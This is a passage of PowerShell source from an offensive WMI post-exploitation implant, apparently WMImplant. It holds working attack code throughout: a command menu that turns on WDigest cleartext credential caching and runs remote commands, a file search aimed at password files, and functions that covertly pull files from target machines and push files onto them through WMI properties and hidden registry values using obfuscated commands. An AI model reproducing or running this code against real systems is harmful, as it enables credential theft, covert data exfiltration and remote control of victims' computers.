2929 | }
2930 |
2931 | }
2932 |
2933 | "upload"
2934 | {
2935 | if ($Credential)
2936 | {
2937 | Invoke-FileTransferWMImplant -Credential $Credential -Upload -ComputerName $ComputerName
2938 | }
2939 |
2940 | else
2941 | {
2942 | Invoke-FileTransferWMImplant -Upload -ComputerName $ComputerName
2943 | }
2944 | }
2945 |
2946 | "command_exec"
2947 | {
2948 | if ($Credential)
2949 | {
2950 | Invoke-CommandExecution -Credential $Credential -ComputerName $ComputerName
2951 | }
2952 |
2953 | else
2954 | {
2955 | Invoke-CommandExecution -ComputerName $ComputerName
2956 | }
2957 | }
2958 |
2959 | "disable_wdigest"
2960 | {
2961 | if ($Credential)
2962 | {
2963 | Invoke-RegValueMod -Credential $Credential -KeyDelete -RegHive hklm -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey 'UseLogonCredential' -ComputerName $ComputerName
2964 | }
2965 |
2966 | else
2967 | {
2968 | Invoke-RegValueMod -KeyDelete -RegHive hklm -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey 'UseLogonCredential' -ComputerName $ComputerName
2969 | }
2970 | }
2971 |
2972 | "disable_winrm"
2973 | {
2974 | if ($Credential)
2975 | {
2976 | Invoke-ProcSpawn -Credential $Credential -Command 'powershell.exe -command "Disable-PSRemoting -Force"' -ComputerName $ComputerName
2977 | }
2978 |
2979 | else
2980 | {
2981 | Invoke-ProcSpawn -Command 'powershell.exe -command "Disable-PSRemoting -Force"' -ComputerName $ComputerName
2982 | }
2983 | }
2984 |
2985 | "enable_wdigest"
2986 | {
2987 | if ($Credential)
2988 | {
2989 | Invoke-RegValueMod -Credential $Credential -KeyCreate -RegHive 'hklm' -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey 'UseLogonCredential' -RegValue '0x1' -ComputerName $ComputerName
2990 | }
2991 |
2992 | else
2993 | {
2994 | Invoke-RegValueMod -KeyCreate -RegHive hklm -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey UseLogonCredential -RegValue "0x1" -ComputerName $ComputerName
2995 | }
2996 | }
2997 |
2998 | "enable_winrm"
2999 | {
3000 | if ($Credential)
3001 | {
3002 | Invoke-ProcSpawn -Credential $Credential -Command 'powershell.exe -command "Enable-PSRemoting -Force"' -ComputerName $ComputerName
3003 | }
3004 |
3005 | else
3006 | {
3007 | Invoke-ProcSpawn -Command 'powershell.exe -command "Enable-PSRemoting -Force"' -ComputerName $ComputerName
3008 | }
3009 | }
3010 |
3011 | "registry_mod"
3012 | {
3013 | if($Credential)
3014 | {
3015 | Invoke-RegValueMod -Credential $Credential -ComputerName $ComputerName
3016 | }
3017 | else
3018 | {
3019 | Invoke-RegValueMod -ComputerName $ComputerName
3020 | }
3021 | }
3022 |
3023 | "remote_posh"
3024 | {
3025 | if ($Credential)
3026 | {
3027 | Invoke-RemoteScriptWithOutput -Credential $Credential -ComputerName $ComputerName
3028 | }
3029 |
3030 | else
3031 | {
3032 | Invoke-RemoteScriptWithOutput -ComputerName $ComputerName
3033 | }
3034 | }
3035 |
3036 | "service_mod"
3037 | {
3038 | if($Credential)
3039 | {
3040 | Invoke-ServiceMod -Credential $Credential -ComputerName $ComputerName
3041 | }
3042 | else
3043 | {
3044 | Invoke-ServiceMod -ComputerName $ComputerName
3045 | }
3046 | }
3047 |
3048 | "process_kill"
3049 | {
3050 | if ($Credential)
3051 | {
3052 | Invoke-ProcessPunisher -Credential $Credential -ComputerName $ComputerName
3053 | }
3054 |
3055 | else
3056 | {
3057 | Invoke-ProcessPunisher -ComputerName $ComputerName
3058 | }
3059 | }
3060 |
3061 | "process_start"
3062 | {
3063 | if ($Credential)
3064 | {
3065 | Invoke-ProcSpawn -Credential $Credential -ComputerName $ComputerName
3066 | }
3067 |
3068 | else
3069 | {
3070 | Invoke-ProcSpawn -ComputerName $ComputerName
3071 | }
3072 | }
3073 |
3074 | "ps"
3075 | {
3076 | if ($Credential)
3077 | {
3078 | Get-ProcessListingWMImplant -Credential $Credential -ComputerName $ComputerName
3079 | }
3080 |
3081 | else
3082 | {
3083 | Get-ProcessListingWMImplant -ComputerName $ComputerName
3084 | }
3085 | }
3086 |
3087 | "active_users"
3088 | {
3089 | if($Credential)
3090 | {
3091 | Find-CurrentUsers -Credential $Credential -ComputerName $ComputerName
3092 | }
3093 |
3094 | else
3095 | {
3096 | Find-CurrentUsers -ComputerName $ComputerName
3097 | }
3098 | }
3099 |
3100 | "basic_info"
3101 | {
3102 | if($Credential)
3103 | {
3104 | Get-HostInfo -Credential $Credential -ComputerName $ComputerName
3105 | }
3106 |
3107 | else
3108 | {
3109 | Get-HostInfo -ComputerName $ComputerName
3110 | }
3111 | }
3112 |
3113 | "drive_list"
3114 | {
3115 | if($Credential)
3116 | {
3117 | Get-ComputerDrives -Credential $Credential -ComputerName $ComputerName
3118 | }
3119 |
3120 | else
3121 | {
3122 | Get-ComputerDrives -ComputerName $ComputerName
3123 | }
3124 | }
3125 |
3126 | "ifconfig"
3127 | {
3128 | if($Credential)
3129 | {
3130 | Get-NetworkCards -Credential $Credential -ComputerName $ComputerName
3131 | }
3132 |
3133 | else
3134 | {
3135 | Get-NetworkCards -ComputerName $ComputerName
3136 | }
3137 | }
3138 |
3139 | "installed_programs"
3140 | {
3141 | if($Credential)
3142 | {
3143 | Get-InstalledPrograms -Credential $Credential -ComputerName $ComputerName
3144 | }
3145 |
3146 | else
3147 | {
3148 | Get-InstalledPrograms -ComputerName $ComputerName
3149 | }
3150 | }
3151 |
3152 | "logon_events"
3153 | {
3154 | $FileSave = Read-Host "Do you want to save the log information to a file? [yes/no] >"
3155 | $FileSave = $FileSave.Trim().ToLower()
3156 |
3157 | if(($FileSave -eq "y") -or ($FileSave -eq "yes"))
3158 | {
3159 | $FileSavePath = Read-Host "What is the full path to where the file should be saved? >"
3160 | $FileSavePath = $FileSavePath.Trim()
3161 |
3162 | if($Credential)
3163 | {
3164 | Get-WMIEventLogins -Credential $Credential -FileName $FileSavePath -ComputerName $ComputerName
3165 | }
3166 |
3167 | else
3168 | {
3169 | Get-WMIEventLogins -FileName $FileSavePath -ComputerName $ComputerName
3170 | }
3171 | }
3172 |
3173 | else
3174 | {
3175 | if($Credential)
3176 | {
3177 | Get-WMIEventLogins -Credential $Credential -ComputerName $ComputerName
3178 | }
3179 |
3180 | else
3181 | {
3182 | Get-WMIEventLogins -ComputerName $ComputerName
3183 | }
3184 | }
3185 | }
3186 |
3187 | "logoff"
3188 | {
3189 | if($Credential)
3190 | {
3191 | Invoke-PowerOptionsWMI -Credential $Credential -Logoff -ComputerName $ComputerName
3192 | }
3193 |
3194 | else
3195 | {
3196 | Invoke-PowerOptionsWMI -Logoff -ComputerName $ComputerName
3197 | }
3198 | }
3199 |
3200 | "reboot"
3201 | {
3202 | if($Credential)
3203 | {
3204 | Invoke-PowerOptionsWMI -Credential $Credential -Reboot -ComputerName $ComputerName
3205 | }
3206 |
3207 | else
3208 | {
3209 | Invoke-PowerOptionsWMI -Reboot -ComputerName $ComputerName
3210 | }
3211 | }
3212 |
3213 | "power_off"
3214 | {
3215 | if($Credential)
3216 | {
3217 | Invoke-PowerOptionsWMI -Credential $Credential -Shutdown -ComputerName $ComputerName
3218 | }
3219 |
3220 | else
3221 | {
3222 | Invoke-PowerOptionsWMI -Shutdown -ComputerName $ComputerName
3223 | }
3224 | }
3225 |
3226 | "vacant_system"
3227 | {
3228 | if($Credential)
3229 | {
3230 | Find-VacantComputer -Credential $Credential -ComputerName $ComputerName
3231 | }
3232 | else
3233 | {
3234 | Find-VacantComputer -ComputerName $ComputerName
3235 | }
3236 | }
3237 |
3238 | default
3239 | {
3240 | Write-Output "You did not select a valid command! Please try again!"
3241 | }
3242 | } #End of switch
3243 | } # End of while loop
3244 | } # End of function
3245 |
3246 | function Find-FileWMImplant
3247 | {
3248 | # This function enables a user to search for a file name or extension on the
3249 | # targeted computer
3250 | param
3251 | (
3252 | [Parameter(Mandatory = $False)]
3253 | [System.Management.Automation.PSCredential]$Credential,
3254 | [Parameter(Mandatory = $True)]
3255 | [string]$ComputerName,
3256 | [Parameter(Mandatory = $False)]
3257 | [string]$File,
3258 | [Parameter(Mandatory = $False)]
3259 | [string]$Drive,
3260 | [Parameter(Mandatory = $False, ParameterSetName='extension')]
3261 | [string]$Extension
3262 | )
3263 |
3264 | process
3265 | {
3266 | if(!$Drive)
3267 | {
3268 | $Drive = Read-Host "What drive do you want to search? (Ex: C:) >"
3269 | $Drive = $Drive.Trim()
3270 | }
3271 |
3272 | # Check length of drive, only want first two characters
3273 | if($Drive.length -gt 2)
3274 | {
3275 | $Drive = $Drive.substring(0,2)
3276 | }
3277 |
3278 | elseif($Drive.length -lt 2)
3279 | {
3280 | Throw "Drive needs two character EX: C:"
3281 | }
3282 |
3283 | if(!$File -and !$Extension)
3284 | {
3285 | $Search_Target = Read-Host "Do you want to search for a [file] or file [extension]? >"
3286 | $Search_Target = $Search_Target.Trim().ToLower()
3287 |
3288 | if($Search_Target -eq "file")
3289 | {
3290 | $File = Read-Host "What file do you want to search for? (Ex: pass.txt or *ssword.txt) >"
3291 | $File = $File.Trim().ToLower()
3292 | }
3293 | elseif($Search_Target -eq "extension")
3294 | {
3295 | $Extension = Read-Host "What file extension do you want to search for? (Ex: sql) >"
3296 | $Extension = $Extension.Trim().ToLower()
3297 | }
3298 | else
3299 | {
3300 | Throw "You need to search for either a file or file extension!"
3301 | }
3302 | }
3303 |
3304 | # If searching for a file and not a file extension
3305 | if($File)
3306 | {
3307 | $counter = 0
3308 | $filter = "Filename"
3309 | foreach($incoming_file in $File)
3310 | {
3311 | if($counter -gt 0)
3312 | {
3313 | $filter += "OR Filename"
3314 | }
3315 |
3316 | if($incoming_file.Contains("."))
3317 | {
3318 | #get the index of the last .
3319 | $index = $incoming_file.LastIndexOf(".")
3320 | #get the first part of the name
3321 | $filename = $incoming_file.Substring(0,$index)
3322 | #get the last part of the name
3323 | $extension = $incoming_file.Substring($index+1)
3324 |
3325 | if($filename -match "\*")
3326 | {
3327 | $filename = $filename.Replace("*","%")
3328 | $filter += " LIKE '$filename' "
3329 | }
3330 | else
3331 | {
3332 | $filter += " = '$filename' "
3333 | }
3334 |
3335 | if ($extension -match "\*")
3336 | {
3337 | $extension = $extension.Replace("*","%")
3338 | $filter += "AND Extension LIKE '$extension' "
3339 | }
3340 | else
3341 | {
3342 | $filter += "AND Extension = '$extension' "
3343 | }
3344 |
3345 | }
3346 | else
3347 | {
3348 | if($incoming_file -match "\*")
3349 | {
3350 | $filename = $incoming_file.Replace("*","%")
3351 | $filter += " LIKE '$filename' "
3352 | }
3353 | else
3354 | {
3355 | $filter += " = '$incoming_file' "
3356 | }
3357 | }
3358 | $counter += 1
3359 | }
3360 | }
3361 |
3362 | # If searching by extension
3363 | elseif($Extension)
3364 | {
3365 | $counter = 0
3366 | $filter = "Extension"
3367 | foreach($ext in $Extension)
3368 | {
3369 | if($counter -gt 0)
3370 | {
3371 | $filter += "OR Extension"
3372 | }
3373 |
3374 | if ($ext -match "\*")
3375 | {
3376 | $ext = $ext.Replace("*","%")
3377 | $filter += " LIKE '$ext' "
3378 | }
3379 | else
3380 | {
3381 | $filter += " = '$ext' "
3382 | }
3383 | $counter += 1
3384 | }
3385 | }
3386 |
3387 | $filter += "AND Drive='$Drive'"
3388 |
3389 | if($Credential)
3390 | {
3391 | Get-WmiObject -Class cim_datafile -filter $filter -ComputerName $ComputerName -Credential $Credential
3392 | }
3393 | else
3394 | {
3395 | Get-WmiObject -Class cim_datafile -filter $filter -ComputerName $ComputerName
3396 | }
3397 | }
3398 | }
3399 |
3400 | function Get-FileContentsWMImplant
3401 | {
3402 | # This function reads and displays the contents of a user-specified file on the targeted machine to the console
3403 | param
3404 | (
3405 | [Parameter(Mandatory = $False)]
3406 | [System.Management.Automation.PSCredential]$Credential,
3407 | [Parameter(Mandatory = $True)]
3408 | [string]$ComputerName,
3409 | [Parameter(Mandatory = $False)]
3410 | [string]$File
3411 | )
3412 |
3413 | Process
3414 | {
3415 | if(!$File)
3416 | {
3417 | $File = Read-Host "What's the full path to the file you'd like to view? >"
3418 | $File = $File.Trim()
3419 | }
3420 |
3421 | # Keep original WMI Property Value
3422 | if($Credential)
3423 | {
3424 | $Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential).DebugFilePath
3425 | }
3426 | else
3427 | {
3428 | $Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName).DebugFilePath
3429 | }
3430 |
3431 | # On remote system, save file to registry
3432 | Write-Verbose "Reading remote file and writing to WMI property"
3433 | $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [Int[]][Char[]]$fct -Join '',''; $a = Get-WmiObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $fctenc; $a.Put()'
3434 |
3435 | if($Credential)
3436 | {
3437 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -Credential $Credential -ObfuscateWithEnvVar
3438 | }
3439 | else
3440 | {
3441 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -ObfuscateWithEnvVar
3442 | }
3443 |
3444 | # Poll remote system, and determine if the script is done
3445 | # If not, sleep and poll again
3446 | $quit = $false
3447 | while($quit -eq $false)
3448 | {
3449 | Write-Verbose "Polling property to see if the script has completed"
3450 | if($Credential)
3451 | {
3452 | $modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential
3453 | }
3454 | else
3455 | {
3456 | $modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName
3457 | }
3458 |
3459 | try
3460 | {
3461 | if($Original_WMIProperty -match $modified_WMIObject.DebugFilePath)
3462 | {
3463 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
3464 | Start-Sleep -s 5
3465 | }
3466 | else
3467 | {
3468 | Write-Verbose "Script is complete, pulling data now"
3469 | $quit = $true
3470 | }
3471 | }
3472 | catch
3473 | {
3474 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
3475 | Start-Sleep -s 5
3476 | }
3477 | }
3478 |
3479 | $decode = [char[]][int[]]$modified_WMIObject.DebugFilePath.Split(',') -Join ''
3480 | # Print to console
3481 | $decode
3482 |
3483 | # Removing Registry value from remote system
3484 | Write-Verbose "Replacing property on remote system"
3485 |
3486 | $modified_WMIObject.DebugFilePath = $Original_WMIProperty
3487 | $null = $modified_WMIObject.Put()
3488 |
3489 | Write-Verbose "Done!"
3490 | }
3491 | end{}
3492 | }
3493 |
3494 | function Invoke-FileTransferWMImplant
3495 | {
3496 | # This function enables the user to upload or download files to/from the attacking machine to/from the targeted machine
3497 | param
3498 | (
3499 | [Parameter(Mandatory = $False)]
3500 | [System.Management.Automation.PSCredential]$Credential,
3501 | [Parameter(Mandatory = $True)]
3502 | [string]$ComputerName,
3503 | [Parameter(Mandatory = $False,ParameterSetName='download')]
3504 | [switch]$Download,
3505 | [Parameter(Mandatory = $False,ParameterSetName='upload')]
3506 | [switch]$Upload,
3507 | [Parameter(Mandatory = $False)]
3508 | [string]$DownloadFile,
3509 | [Parameter(Mandatory = $False)]
3510 | [string]$DownloadFilePath,
3511 | [Parameter(Mandatory = $False)]
3512 | [string]$UploadFile,
3513 | [Parameter(Mandatory = $False)]
3514 | [string]$UploadFilePath
3515 | )
3516 |
3517 | Process
3518 | {
3519 | # invoke powershell on both remote and local system. Both will connect back over WMI to retrieve file contents
3520 | # applies to both download and upload operations.
3521 | # Uses HKLM/Software/Microsoft
3522 | #2147483650 - hklm, 2147483649 - kkcu,
3523 |
3524 | Write-Verbose "Creating registry key to store data"
3525 | $fullregistrypath = "HKLM:\Software\Microsoft\Windows"
3526 | $registryupname = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})
3527 | $registrydownname = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})
3528 | # The reghive value is for hkey_local_machine
3529 | $reghive = 2147483650
3530 | $regpath = "SOFTWARE\Microsoft\Windows"
3531 | $SystemHostname = Get-WMIObject Win32_ComputerSystem | Select-Object -ExpandProperty name
3532 |
3533 | if($Download)
3534 | {
3535 | if(!$DownloadFile)
3536 | {
3537 | $Download_File = Read-Host "What's the full path to the file you'd like to download? >"
3538 | $Download_File = $Download_File.Trim()
3539 | }
3540 | else
3541 | {
3542 | $Download_File = $DownloadFile
3543 | }
3544 |
3545 | if(!$DownloadFilePath)
3546 | {
3547 | $Download_File_Path = Read-Host "What's the full path to location you'd like to save the file locally? >"
3548 | $Download_File_Path = $Download_File_Path.Trim()
3549 | }
3550 | else
3551 | {
3552 | $Download_File_Path = $DownloadFilePath
3553 | }
3554 |
3555 | # On remote system, save file to registry
3556 | Write-Verbose "Reading remote file and writing on remote registry"
3557 | $remote_command = '$fct = Get-Content -Encoding byte -ReadCount 0 -Path ''' + "$Download_file" + '''; $fctenc = [Int[]][byte[]]$fct -Join '',''; New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force'
3558 |
3559 | if($Credential)
3560 | {
3561 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -Credential $Credential -ObfuscateWithEnvVar
3562 | }
3563 | else
3564 | {
3565 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -ObfuscateWithEnvVar
3566 | }
3567 |
3568 | # Start the polling process to see if the file is stored in the registry
3569 | # Grab file from remote system's registry
3570 | Write-Verbose "Checking if file is in the remote system's registry"
3571 | $quit = $false
3572 | while($quit -eq $false)
3573 | {
3574 | if($Credential)
3575 | {
3576 | $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $reghive, $regpath, $registrydownname -ComputerName $ComputerName -Credential $Credential
3577 | }
3578 | else
3579 | {
3580 | $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $reghive, $regpath, $registrydownname -ComputerName $ComputerName
3581 | }
3582 | if($remote_reg.ReturnValue -ne 0)
3583 | {
3584 | Write-Verbose "File not doing being stored in registry, sleeping for 5..."
3585 | Start-Sleep -s 5
3586 | }
3587 | else
3588 | {
3589 | $quit = $true
3590 | }
3591 | }
3592 |
3593 | $decode = [byte[]][int[]]$remote_reg.sValue.Split(',') -Join ' '
3594 | [byte[]] $decoded = $decode -split ' '
3595 | Set-Content -Encoding byte -Path $Download_file_path -Value $decoded
3596 |
3597 | # Removing Registry value from remote system
3598 | Write-Verbose "Removing registry value from remote system"
3599 |
3600 | if($Credential)
3601 | {
3602 | $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $ComputerName -Credential $Credential
3603 | }
3604 | else
3605 | {
3606 | $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $ComputerName
3607 | }
3608 |
3609 | Write-Verbose "Done!"
3610 | }
3611 |
3612 | elseif($Upload)
3613 | {
3614 | if(!$UploadFile)
3615 | {
3616 | $Upload_File = Read-Host "What's the full path to the file you'd like to upload? >"
3617 | $Upload_File = $Upload_File.Trim()
3618 | }
3619 | else
3620 | {
3621 | $Upload_File = $UploadFile
3622 | }
3623 |
3624 | if(!$UploadFilePath)
3625 | {
3626 | $Upload_Dir = Read-Host "What is the full path to the location you would like the file uploaded to? >"
3627 | $Upload_Dir = $Upload_Dir.Trim()
3628 | }
3629 | else
3630 | {
3631 | $Upload_Dir = $UploadFilePath
3632 | }
3633 |
3634 | # Read in file and base64 encode it
3635 | Write-Verbose "Read in local file and encode it"
3636 | $filecontents = Get-Content -Encoding byte -ReadCount 0 $Upload_File
3637 | $filecontentencoded = [Int[]][byte[]]$filecontents -Join ','
3638 |
3639 | Write-Verbose "Writing encoded file to remote registry"
3640 | if($Credential)
3641 | {
3642 | $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $reghive, $regpath, $filecontentencoded, $registryupname -ComputerName $ComputerName -Credential $Credential
3643 | }
3644 | else
3645 | {
3646 | $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $reghive, $regpath, $filecontentencoded, $registryupname -ComputerName $ComputerName
3647 | }
3648 |
3649 | # grabs registry value and saves to disk
3650 | Write-Verbose "Connecting to $ComputerName"
3651 | $remote_command = '$Hive = 2147483650; $key = ''' + "$regpath'" + '; $value = ''' + "$registryupname" + '''; $out = Invoke-WmiMethod -Namespace ''root\default'' -Class ''StdRegProv'' -Name ''GetStringValue'' -ArgumentList $Hive, $key, $value; $decode = [byte[]][int[]]$out.sValue.Split('','') -Join '' ''; [byte[]] $decoded = $decode -split '' ''; Set-Content -Encoding byte -Path ' + "$Upload_Dir" + ' -Value $decoded; Remove-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registryupname'"
3652 | if($Credential)
3653 | {
3654 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -Credential $Credential -ObfuscateWithEnvVar
3655 | }
3656 | else
3657 | {
3658 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -ObfuscateWithEnvVar
3659 | }
3660 |
3661 | Write-Verbose "Remote system now is copying file from WMI property and replacing it to the original value."
3662 | }
3663 | } # End of Process Block
3664 | end{}
3665 | } # End of Function block
3666 |
3667 | function Invoke-LSWMImplant
3668 | {
3669 | # This function retrieves a diretory listing of all files from a user-specified directory on the targeted system
3670 | param
3671 | (
3672 | #Parameter assignment
3673 | [Parameter(Mandatory = $False)]
3674 | [System.Management.Automation.PSCredential]$Credential,
3675 | [Parameter(Mandatory = $True)]
3676 | [string]$ComputerName,
3677 | [Parameter(Mandatory = $False)]
3678 | [string]$Directory
3679 | )
3680 |
3681 | Process
3682 | {
3683 | if(!$Directory)
3684 | {
3685 | $Directory = Read-Host "What's the full path to the directory? >"
3686 | $Directory = $Directory.Trim()
3687 | }
3688 |
3689 | $Drive = $Directory.Substring(0,2)
3690 | $DirPath = $Directory.Substring(2)
3691 | $DirPath = $DirPath.Replace("\","\\")
3692 | if(!$DirPath.Endswith('\\'))
3693 | {
3694 | $DirPath += "\\"
3695 | }
3696 | Write-Verbose "Connecting to $ComputerName"
3697 | $filter = "Drive='$Drive' and Path='$DirPath'"
3698 |
3699 | if($Credential)
3700 | {
3701 | Get-WmiObject -Class Win32_Directory -Filter $filter -ComputerName $ComputerName -Credential $Credential
3702 | Get-WMIObject -Class CIM_Datafile -filter $filter -ComputerName $ComputerName -Credential $Credential
3703 | }
3704 | else
3705 | {
3706 | Get-WmiObject -Class Win32_Directory -Filter $filter -ComputerName $ComputerName
3707 | Get-WMIObject -Class CIM_Datafile -filter $filter -ComputerName $ComputerName
3708 | }
3709 | }
3710 | end{}
3711 | }
3712 |
3713 | function Set-OriginalProperty
3714 | {
3715 | # This function sets the DebugFilePath property to its default value
3716 | param
3717 | (
3718 | #Parameter assignment
3719 | [Parameter(Mandatory = $False)]
3720 | [System.Management.Automation.PSCredential]$Credential,
3721 | [Parameter(Mandatory = $True)]
3722 | [string]$ComputerName
3723 | )
3724 |
3725 | Process
3726 | {
3727 | $default_prop_value = "%SystemRoot%\Memory.dmp"
3728 | # Set original WMI Property Value
3729 | $Original_WMIProperty = Get-WmiObject -Class Win32_OSRecoveryConfiguration @PSBoundParameters
3730 | $Original_WMIProperty.DebugFilePath = $default_prop_value
3731 | $Original_WMIProperty.Put()
3732 | }
3733 | end{}
3734 | }
3735 |
--------------------------------------------------------------------------------